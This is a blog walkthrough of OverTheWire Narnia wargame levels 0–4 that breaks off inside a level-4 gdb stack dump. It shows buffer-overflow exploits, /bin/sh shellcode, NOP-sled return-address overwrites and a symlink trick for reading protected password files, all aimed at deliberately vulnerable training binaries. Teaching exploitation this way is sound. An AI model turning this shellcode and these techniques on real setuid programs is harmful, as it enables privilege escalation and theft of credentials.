OverTheWire Narnia Levels 0 to 9 Walkthrough

OverTheWire Narnia Levels 0 to 9 Walkthrough

Walkthrough on solving the Narnia series from the wargame site, OverTheWire

This blogpost contains the solutions of how I solved the challenges of the OverTheWire Narnia series of challenges, this category of challenges are aimed at beginners to binary exploitation, similar to the earlier challenges of the Smashthestack IO challenges. The purpose of this wargame is to solve the current level’s problem to find the password for the next level. I will update this blogpost to contain the solutions for all the challenges as I complete the level.

NOTE: Before getting to the actual write-ups, I’ve appended all the passwords with “*” to not give away the actual passwords.

Level 0

narnia0@melinda:/narnia$ cat narnia0.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
 
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
 
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <stdlib.h>
 
int main(){
long val=0x41414141;
char buf[20];
 
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
 
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
 
if(val==0xdeadbeef)
system("/bin/sh");
else {
printf("WAY OFF!!!!\n");
exit(1);
}
 
return 0;
}

The above C code is the source code for the first challenge in the Narnia series of challenges offered by Overthewire.org, these challenges have been designed to have basic vulnerabilities. The goal of this challenge is to get the val varible to equal “0xdeadbeef” and if so the binary will give me a shell. The binary accepts one string input from the user and puts the string into a buffer of 20 bytes, straight away this looks like a buffer overflow vulnerability with the goal of overflowing the buffer and then overwriting the value of the varible called “val” which currently is “0x41414141” with the value of “0xdeadbeef”.

So the next step I sent a string of A’s with 4 C’s to test the vulnerability, the buffer is defined as 20 bytes in size which means if there is actually a vulnerability in the code when the binary takes the user input and places it directly into the buffer and the user input is greater then 20 bytes there should be an overflow, which is why I include 4 C’s which should overwrite the val varible.

narnia0@melinda:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAAAAAAAAAAAAAAAAACCCC
buf: AAAAAAAAAAAAAAAAAAAACCCC
val: 0x43434343
WAY OFF!!!!

As I expected there was an overflow when I entered a string greater then 20 bytes long. Next I want to get code execution which will allow me to view the password for the next level. Since the binary should give me a shell when the val varible equals “0xdeadbeef” which means if I replace the 4 C’s to be “0xdeadbeef” I should be given a shell and then simply just be able to cat out the password file. So below I used python to create my string with the “0xdeadbeef” overwrite included which is piped into the narnia0 binary.

narnia0@melinda:~$ python -c'print "A"*20 + "\xef\xbe\xad\xde"' | /narnia/narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAï¾­Þ
val: 0xdeadbeef

Damn!!! I successfully overwrite the val varible with “0xdeadbeef” but I was not given a shell, this is because the shell closes straight away.

narnia0@melinda:~$ python -c'print "A"*20 + "\xef\xbe\xad\xde"';id | /narnia/narnia0
AAAAAAAAAAAAAAAAAAAAï¾­Þ
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: uid=14000(narnia0)
val: 0x41414141
WAY OFF!!!!

I added an “id” command to be executed when the shell is be given, I can see the results of the command to be “uid=14000(narnia0)” but the results was not what I expected, again the command was executed after the shell from the binary had closed. I need to work out a way to keep the shell open. After running through a series of different commands I found the “cat” command kept the shell session open.

narnia0@melinda:/narnia$ (python -c'print "A"*20 + "\xef\xbe\xad\xde"'; cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ
val: 0xdeadbeef
whoami
narnia1
id
uid=14000(narnia0) gid=14000(narnia0) euid=14001(narnia1) groups=14001(narnia1),14000(narnia0)
cat /etc/narnia_pass/narnia1
**********

Level 1

narnia1@melinda:/narnia$ cat narnia1.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
 
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
 
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
 
int main(){
int (*ret)();
 
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
 
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
 
return 0;
}

The source code above is for the binary narnia1, this is a simple vulnerability. The binary looks for an environment varible called “EGG” using the getenv() function and if the environment varible is executed. Since some of the challenges from the IO series of challenges from Smashthestack.org required me to insert some shellcode into a environment varible.

shellcode
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

The above shellcode is what I planned to use to gain a shell, it is a “/bin/sh” payload which is the same shellcode I’ve used in several challenges from my IO walkthrough blogposts, the original location of shellcode is from smashing the stack for fun and profit. Using the below the command I was able to create the environment varible called “EGG” which will contain the shellcode.

export EGG=$(python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')

Next I simply just executed the binary which found the environment varible called “EGG” and executed the shellcode giving me a shell and then just used the cat command to print out the contents of the narnia2 password file.

narnia1@melinda:/narnia$ ./narnia1
Trying to execute EGG!
$ cat /etc/narnia_pass/narnia2
**********

Level 2

narnia2@melinda:/narnia$ cat narnia2.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
 
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
 
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int main(int argc, char * argv[]){
char buf[128];
 
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
 
return 0;
}

This is again another buffer overflow vulnerability in the binary file, the vulnerability is that the user input of “argv[1]” is copied directly into buffer called “buf” using the strcpy() function without any checking of the string and since the buffer is defined to be a length of 128 bytes in size if I send a string of more then 128 bytes I should be able to cause a buffer overflow in the binary’s execution.

Using GDB to debug my fuzzing of the potential buffer overflow. Using python I sent a string of increasing length of A’s until I caused a buffer overflow in the execution, I redid the overflow with the last 4 bytes in the string to be C’s to show the 4 bytes that overwrite the EIP register.

narnia2@melinda:/narnia$ gdb ./narnia2 -q
Reading symbols from /games/narnia/narnia2...(no debugging symbols found)...done.
(gdb) r $(python -c'print "\x41"*140 + "\x43"*4')
Starting program: /games/narnia/narnia2 $(python -c'print "\x41"*140 + "\x43"*4')
 
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) x/300x $esp
0xffffd6a0:    0x00000000    0xffffd734    0xffffd740    0xf7fd3000
0xffffd6b0:    0x00000000    0xffffd71c    0xffffd740    0x00000000
0xffffd6c0:    0x0804821c    0xf7fceff4    0x00000000    0x00000000
0xffffd6d0:    0x00000000    0x8947ceb3    0xbe426aa3    0x00000000
0xffffd6e0:    0x00000000    0x00000000    0x00000002    0x08048370
0xffffd6f0:    0x00000000    0xf7ff0a90    0xf7e453c9    0xf7ffcff4
0xffffd700:    0x00000002    0x08048370    0x00000000    0x08048391
0xffffd710:    0x08048424    0x00000002    0xffffd734    0x08048490
0xffffd720:    0x08048500    0xf7feb660    0xffffd72c    0xf7ffd918
0xffffd730:    0x00000002    0xffffd85e    0xffffd874    0x00000000
0xffffd740:    0xffffd905    0xffffd915    0xffffd920    0xffffd944
0xffffd750:    0xffffd957    0xffffd960    0xffffd96d    0xffffde8e
0xffffd760:    0xffffde99    0xffffdea5    0xffffdef2    0xffffdf09
0xffffd770:    0xffffdf18    0xffffdf24    0xffffdf35    0xffffdf3e
0xffffd780:    0xffffdf51    0xffffdf59    0xffffdf69    0xffffdfa0
0xffffd790:    0xffffdfc0    0x00000000    0x00000020    0xf7fdb420
0xffffd7a0:    0x00000021    0xf7fdb000    0x00000010    0x1f898975
0xffffd7b0:    0x00000006    0x00001000    0x00000011    0x00000064
0xffffd7c0:    0x00000003    0x08048034    0x00000004    0x00000020
0xffffd7d0:    0x00000005    0x00000008    0x00000007    0xf7fdc000
0xffffd7e0:    0x00000008    0x00000000    0x00000009    0x08048370
0xffffd7f0:    0x0000000b    0x000036b2    0x0000000c    0x000036b2
0xffffd800:    0x0000000d    0x000036b2    0x0000000e    0x000036b2
0xffffd810:    0x00000017    0x00000000    0x00000019    0xffffd83b
0xffffd820:    0x0000001f    0xffffdfe2    0x0000000f    0xffffd84b
0xffffd830:    0x00000000    0x00000000    0xd8000000    0x47e342a2
0xffffd840:    0x00a63b75    0x9ab5f04d    0x6903f01d    0x00363836
0xffffd850:    0x00000000    0x00000000    0x00000000    0x672f0000
0xffffd860:    0x73656d61    0x72616e2f    0x2f61696e    0x6e72616e
0xffffd870:    0x00326169    0x41414141    0x41414141    0x41414141
0xffffd880:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd890:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd8a0:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd8b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd8c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd8d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd8e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd8f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xffffd900:    0x43434343    0x45485300    0x2f3d4c4c    0x2f6e6962
0xffffd910:    0x68736162    0x52455400    0x74783d4d    0x006d7265
0xffffd920:    0x5f485353    0x45494c43    0x323d544e    0x312e3230
0xffffd930:    0x312e3435    0x322e3530    0x34203834    0x33353038
0xffffd940:    0x00323220    0x5f485353    0x3d595454    0x7665642f
0xffffd950:    0x7374702f    0x4c00372f    0x4c415f43    0x00433d4c
0xffffd960:    0x52455355    0x72616e3d    0x3261696e    0x5f534c00
0xffffd970:    0x4f4c4f43    0x723d5352    0x3a303d73    0x303d6964
0xffffd980:    0x34333b31    0x3d6e6c3a    0x333b3130    0x686d3a36
0xffffd990:    0x3a30303d    0x343d6970    0x33333b30    0x3d6f733a
0xffffd9a0:    0x333b3130    0x6f643a35    0x3b31303d    0x623a3533
0xffffd9b0:    0x30343d64    0x3b33333b    0x633a3130    0x30343d64
0xffffd9c0:    0x3b33333b    0x6f3a3130    0x30343d72    0x3b31333b
0xffffd9d0:    0x733a3130    0x37333d75    0x3a31343b    0x333d6773
0xffffd9e0:    0x33343b30    0x3d61633a    0x343b3033    0x77743a31
0xffffd9f0:    0x3b30333d    0x6f3a3234    0x34333d77    0x3a32343b
0xffffda00:    0x333d7473    0x34343b37    0x3d78653a    0x333b3130
0xffffda10:    0x2e2a3a32    0x3d726174    0x333b3130    0x2e2a3a31
0xffffda20:    0x3d7a6774    0x333b3130    0x2e2a3a31    0x3d6a7261
0xffffda30:    0x333b3130    0x2e2a3a31    0x3d7a6174    0x333b3130
0xffffda40:    0x2e2a3a31    0x3d687a6c    0x333b3130    0x2e2a3a31
0xffffda50:    0x616d7a6c    0x3b31303d    0x2a3a3133    0x7a6c742e
0xffffda60:    0x3b31303d    0x2a3a3133    0x7a78742e    0x3b31303d
0xffffda70:    0x2a3a3133    0x70697a2e    0x3b31303d    0x2a3a3133
0xffffda80:    0x303d7a2e    0x31333b31    0x5a2e2a3a    0x3b31303d
0xffffda90:    0x2a3a3133    0x3d7a642e    0x333b3130    0x2e2a3a31
0xffffdaa0:    0x303d7a67    0x31333b31    0x6c2e2a3a    0x31303d7a
0xffffdab0:    0x3a31333b    0x7a782e2a    0x3b31303d    0x2a3a3133
0xffffdac0:    0x327a622e    0x3b31303d    0x2a3a3133    0x3d7a622e
0xffffdad0:    0x333b3130    0x2e2a3a31    0x3d7a6274    0x333b3130
0xffffdae0:    0x2e2a3a31    0x327a6274    0x3b31303d    0x2a3a3133
0xffffdaf0:    0x3d7a742e    0x333b3130    0x2e2a3a31    0x3d626564
0xffffdb00:    0x333b3130    0x2e2a3a31    0x3d6d7072    0x333b3130
0xffffdb10:    0x2e2a3a31    0x3d72616a    0x333b3130    0x2e2a3a31
0xffffdb20:    0x3d726177    0x333b3130    0x2e2a3a31    0x3d726165
0xffffdb30:    0x333b3130    0x2e2a3a31    0x3d726173    0x333b3130
0xffffdb40:    0x2e2a3a31    0x3d726172    0x333b3130    0x2e2a3a31

After the buffer overflow was caused I used gdb to view the state of the stack at the time of the overflow, the memory address of 0xffffd904 was overwritten by the 4 C’s. Using the same shellcode as I did in the previous challenge I plan to include the shellcode in my buffer and have the memory address of 0xffffd904 jump back to a point in the buffer and begin executing my shellcode. As part of this proposed attack plan I need to verify the length of the shellcode as it is important to send the correct buffer length to the binary.

root@Phlegethon:~# python -c'print(len("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"))'
25

So the actual shellcode is 25 bytes in length, the string needs to be 144 bytes in length so I plan to fill the rest of the buffer up with NOPs and the last 4 bytes of the buffer to be the RET address of a memory address within the NOP sled. The below debugging in GDB was to be a PoC of the attack vector as well as to find the memory location of the RET address.

(gdb) r $(python -c'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x43"*4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /games/narnia/narnia2 $(python -c'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x43"*4')
 
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) x/250x $esp
0xffffd6a0:    0x00000000    0xffffd734    0xffffd740    0xf7fd3000
0xffffd6b0:    0x00000000    0xffffd71c    0xffffd740    0x00000000
0xffffd6c0:    0x0804821c    0xf7fceff4    0x00000000    0x00000000
0xffffd6d0:    0x00000000    0x86b43b80    0xb1b19f90    0x00000000
0xffffd6e0:    0x00000000    0x00000000    0x00000002    0x08048370
0xffffd6f0:    0x00000000    0xf7ff0a90    0xf7e453c9    0xf7ffcff4
0xffffd700:    0x00000002    0x08048370    0x00000000    0x08048391
0xffffd710:    0x08048424    0x00000002    0xffffd734    0x08048490
0xffffd720:    0x08048500    0xf7feb660    0xffffd72c    0xf7ffd918
0xffffd730:    0x00000002    0xffffd85e    0xffffd874    0x00000000
0xffffd740:    0xffffd905    0xffffd915    0xffffd920    0xffffd944
0xffffd750:    0xffffd957    0xffffd960    0xffffd96d    0xffffde8e
0xffffd760:    0xffffde99    0xffffdea5    0xffffdef2    0xffffdf09
0xffffd770:    0xffffdf18    0xffffdf24    0xffffdf35    0xffffdf3e
0xffffd780:    0xffffdf51    0xffffdf59    0xffffdf69    0xffffdfa0
0xffffd790:    0xffffdfc0    0x00000000    0x00000020    0xf7fdb420
0xffffd7a0:    0x00000021    0xf7fdb000    0x00000010    0x1f898975
0xffffd7b0:    0x00000006    0x00001000    0x00000011    0x00000064
0xffffd7c0:    0x00000003    0x08048034    0x00000004    0x00000020
0xffffd7d0:    0x00000005    0x00000008    0x00000007    0xf7fdc000
0xffffd7e0:    0x00000008    0x00000000    0x00000009    0x08048370
0xffffd7f0:    0x0000000b    0x000036b2    0x0000000c    0x000036b2
0xffffd800:    0x0000000d    0x000036b2    0x0000000e    0x000036b2
0xffffd810:    0x00000017    0x00000000    0x00000019    0xffffd83b
0xffffd820:    0x0000001f    0xffffdfe2    0x0000000f    0xffffd84b
0xffffd830:    0x00000000    0x00000000    0xf5000000    0xbddafb32
0xffffd840:    0xcf3fbc8c    0x499b46af    0x69664c26    0x00363836
0xffffd850:    0x00000000    0x00000000    0x00000000    0x672f0000
0xffffd860:    0x73656d61    0x72616e2f    0x2f61696e    0x6e72616e
0xffffd870:    0x00326169    0x90909090    0x90909090    0x90909090
0xffffd880:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd890:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd8a0:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd8b0:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd8c0:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd8d0:    0x90909090    0x90909090    0x90909090    0x90909090
0xffffd8e0:    0x90909090    0x31909090    0x2f6850c0    0x6868732f
0xffffd8f0:    0x6e69622f    0x5350e389    0xc289e189    0x80cd0bb0
0xffffd900:    0x43434343    0x45485300    0x2f3d4c4c    0x2f6e6962
0xffffd910:    0x68736162    0x52455400    0x74783d4d    0x006d7265
0xffffd920:    0x5f485353    0x45494c43    0x323d544e    0x312e3230
0xffffd930:    0x312e3435    0x322e3530    0x34203834    0x33353038
0xffffd940:    0x00323220    0x5f485353    0x3d595454    0x7665642f
0xffffd950:    0x7374702f    0x4c00372f    0x4c415f43    0x00433d4c
0xffffd960:    0x52455355    0x72616e3d    0x3261696e    0x5f534c00
0xffffd970:    0x4f4c4f43    0x723d5352    0x3a303d73    0x303d6964
0xffffd980:    0x34333b31    0x3d6e6c3a    0x333b3130    0x686d3a36
0xffffd990:    0x3a30303d    0x343d6970    0x33333b30    0x3d6f733a
0xffffd9a0:    0x333b3130    0x6f643a35    0x3b31303d    0x623a3533
0xffffd9b0:    0x30343d64    0x3b33333b    0x633a3130    0x30343d64
0xffffd9c0:    0x3b33333b    0x6f3a3130    0x30343d72    0x3b31333b
0xffffd9d0:    0x733a3130    0x37333d75    0x3a31343b    0x333d6773
0xffffd9e0:    0x33343b30    0x3d61633a    0x343b3033    0x77743a31
0xffffd9f0:    0x3b30333d    0x6f3a3234    0x34333d77    0x3a32343b
0xffffda00:    0x333d7473    0x34343b37    0x3d78653a    0x333b3130
0xffffda10:    0x2e2a3a32    0x3d726174    0x333b3130    0x2e2a3a31
0xffffda20:    0x3d7a6774    0x333b3130    0x2e2a3a31    0x3d6a7261
0xffffda30:    0x333b3130    0x2e2a3a31    0x3d7a6174    0x333b3130
0xffffda40:    0x2e2a3a31    0x3d687a6c    0x333b3130    0x2e2a3a31
0xffffda50:    0x616d7a6c    0x3b31303d    0x2a3a3133    0x7a6c742e
0xffffda60:    0x3b31303d    0x2a3a3133    0x7a78742e    0x3b31303d
0xffffda70:    0x2a3a3133    0x70697a2e    0x3b31303d    0x2a3a3133
0xffffda80:    0x303d7a2e    0x31333b31

So I chose the memory location of “0xffffd8c0” which is located in the middle of the NOP sled. I then took my exploit string and exploited the buffer overflow vulnerability to gain a shell with the privileges of the narnia3 and then cat the password file of narnia3.

narnia2@melinda:/narnia$ ./narnia2 $(python -c'print "\x90"*115 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xc0\xd8\xff\xff"')
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
**********

Level 3

narnia3@melinda:/narnia$ cat narnia3.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
 
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
 
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char **argv){
 
int  ifd,  ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
 
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
 
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
 
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
 
/* close 'em */
close(ifd);
close(ofd);
 
exit(1);
}

The source code for this next binary at first looks very complicated but again this is just a buffer overflow vulnerability again. The overflow occurs in the ifile buffer where a long file name can overwrite the ofile file.

narnia3@melinda:~$ gdb -q /narnia/narnia3
Reading symbols from /games/narnia/narnia3...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x080484d4 <+0>:     push   %ebp
0x080484d5 <+1>:     mov    %esp,%ebp
0x080484d7 <+3>:     and    $0xfffffff0,%esp
0x080484da <+6>:     sub    $0x70,%esp
0x080484dd <+9>:     movl   $0x7665642f,0x58(%esp)    ;ofile /dev
0x080484e5 <+17>:    movl   $0x6c756e2f,0x5c(%esp)    ;ofile /nul
0x080484ed <+25>:    movl   $0x6c,0x60(%esp)            ;ofile l
0x080484f5 <+33>:    movl   $0x0,0x64(%esp)            ;ofile \0
0x080484fd <+41>:    cmpl   $0x2,0x8(%ebp)
0x08048501 <+45>:    je     0x8048525 <main+81>
0x08048503 <+47>:    mov    0xc(%ebp),%eax
0x08048506 <+50>:    mov    (%eax),%edx
0x08048508 <+52>:    mov    $0x8048710,%eax
0x0804850d <+57>:    mov    %edx,0x4(%esp)
0x08048511 <+61>:    mov    %eax,(%esp)
0x08048514 <+64>:    call   0x80483a0 <printf@plt>
0x08048519 <+69>:    movl   $0xffffffff,(%esp)
0x08048520 <+76>:    call   0x80483d0 <exit@plt>
0x08048525 <+81>:    mov    0xc(%ebp),%eax
0x08048528 <+84>:    add    $0x4,%eax
0x0804852b <+87>:    mov    (%eax),%eax
0x0804852d <+89>:    mov    %eax,0x4(%esp)
0x08048531 <+93>:    lea    0x38(%esp),%eax            ;ifile
....

As I showed in the disassemble of the main function in gdb, the ofile is begins to be defined at 0x58 and ifile is at 0x38 which is a length of 32 bytes in length. Since the input for ifile is copied from the user input into the ifile with the strcpy() which does not perform any checks of the length of the input. This means if I give a file name of more then 32 bytes in length I can overwrite the ofile file from /dev/null to whatever I would like.

To begin with I create a file in the /tmp directory called “abcdefghijklm” which is where I want the password for the next level to end up, and then made the file world readable and then made a directory within the /tmp directory of called “bbbbbbbbbbbbbbbbbbbbbbbbbbb” which is 27 b’s and then inside that directory I created another directory called /tmp. The entire length of the file name called

narnia3@melinda:/tmp$ touch /tmp/abcdefghijklm
narnia3@melinda:/tmp$ chmod 777 /tmp/abcdefghijklm
narnia3@melinda:/tmp$ cd ./$(python -c'print "b"*27')
narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb$ cd ./tmp
narnia3@melinda:~$ python -c'print(len("/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb"))'
32

So as you can see in the command outputs above is that the directory name of “/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb” is 32 bytes in length which means the directory called “/tmp” within the “/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb” will begin to overwrite the ofile if passed to the binary. The next step was to link the “/tmp/abcdefghijklm” file with the password file using the link command in linux, this means when the abcdefghijklm files is cat the file actual cats out the contents of the password file “/etc/narnia_pass/narnia4”.

narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ ln -s /etc/narnia_pass/narnia4 ./abcdefghijklm
narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ ls -lh
total 0
lrwxrwxrwx 1 narnia3 narnia3 24 Nov 12 07:50 abcdefghijklm -> /etc/narnia_pass/narnia4

The next step is just to pass the binary the long filename for the ifile buffer and then cat out my password file.

narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ /narnia/narnia3 $(python -c'print "/tmp/" + "b"*27 + "/tmp/abcdefghijklm"')
copied contents of /tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/abcdefghijk to a safer place... (/tmp/abcdefghijk)
narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp$ cat /tmp/abcdefghijklm
**********
ÿ/Üÿÿô`narnia3@melinda:/tmp/bbbbbbbbbbbbbbbbbbbbbbbbbbb/tmp/tmp$

Level 4

narnia4@melinda:~$ cat /narnia/narnia4.c
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
 
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
 
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
 
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
 
extern char **environ;
 
int main(int argc,char **argv){
int i;
char buffer[256];
 
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
 
if(argc>1)
strcpy(buffer,argv[1]);
 
return 0;
}

This is another buffer overflow vulnerability straight away I had planned to use the same method of passing the binary my shellcode as I did in the Narnia2 challenge, when I re-read through the source code I realised this was the only way the shellcode can be passed to the binary anyways as it is set to null. So I opened up gdb and began debugging the binary sending it increasing in length strings beginning at 260 until I caused a SIGSEV error.

(gdb) r $(python -c'print "A"*276')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /games/narnia/narnia4 $(python -c'print "A"*276')
 
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/250x $esp
0xffffd620:     0x00000000      0xffffd6b4      0xffffd6c0      0xf7fd3000
0xffffd630:     0x00000000      0xffffd61c      0xffffd6c0      0x00000000
0xffffd640:     0x0804824c      0xf7fceff4      0x00000000      0x00000000
0xffffd650:     0x00000000      0x2cd80063      0x1bdca473      0x00000000
0xffffd660:     0x00000000      0x00000000      0x00000002      0x08048390
0xffffd670:     0x00000000      0xf7ff0a90      0xf7e453c9      0xf7ffcff4
0xffffd680:     0x00000002      0x08048390      0x00000000      0x080483b1
0xffffd690:     0x08048444      0x00000002      0xffffd6b4      0x08048500
0xffffd6a0:     0x08048570      0xf7feb660      0xffffd6ac      0xf7ffd918
0xffffd6b0:     0x00000002      0xffffd7d5      0xffffd7eb      0x00000000
0xffffd6c0:     0xffffd900      0xffffd910      0xffffd91b      0xffffd93f
0xffffd6d0:     0xffffd952      0xffffd95b      0xffffd968      0xffffde89
0xffffd6e0:     0xffffde94      0xffffde9f      0xffffdeec      0xffffdf03
0xffffd6f0:     0xffffdf12      0xffffdf24      0xffffdf35      0xffffdf3e
0xffffd700:     0xffffdf51      0xffffdf59      0xffffdf69      0xffffdfa0
0xffffd710:     0xffffdfc0      0x00000000      0x00000020      0xf7fdb420
0xffffd720:     0x00000021      0xf7fdb000      0x00000010      0x1f898975
0xffffd730:     0x00000006      0x00001000      0x00000011      0x00000064
0xffffd740:     0x00000003      0x08048034      0x00000004      0x00000020
0xffffd750:     0x00000005      0x00000008      0x00000007      0xf7fdc000
0xffffd760:     0x00000008      0x00000000      0x00000009      0x08048390
0xffffd770:     0x0000000b      0x000036b4      0x0000000c      0x000036b4
0xffffd780:     0x0000000d      0x000036b4      0x0000000e      0x000036b4
0xffffd790:     0x00000017      0x00000000      0x00000019      0xffffd7bb
0xffffd7a0:     0x0000001f      0xffffdfe2      0x0000000f      0xffffd7cb
0xffffd7b0:     0x00000000      0x00000000      0xf1000000      0x206ad5f0
0xffffd7c0:     0xe7ce69ba      0x3bf6e642      0x69a79926      0x00363836
0xffffd7d0:     0x00000000      0x61672f00      0x2f73656d      0x6e72616e
0xffffd7e0:     0x6e2f6169      0x696e7261      0x41003461      0x41414141
0xffffd7f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd800:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd810:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd820:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd830:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd840:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd850:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd860:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd870:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd880:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd890:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8a0:     0x41414141      0x41414141      0x41414141      0x41414141
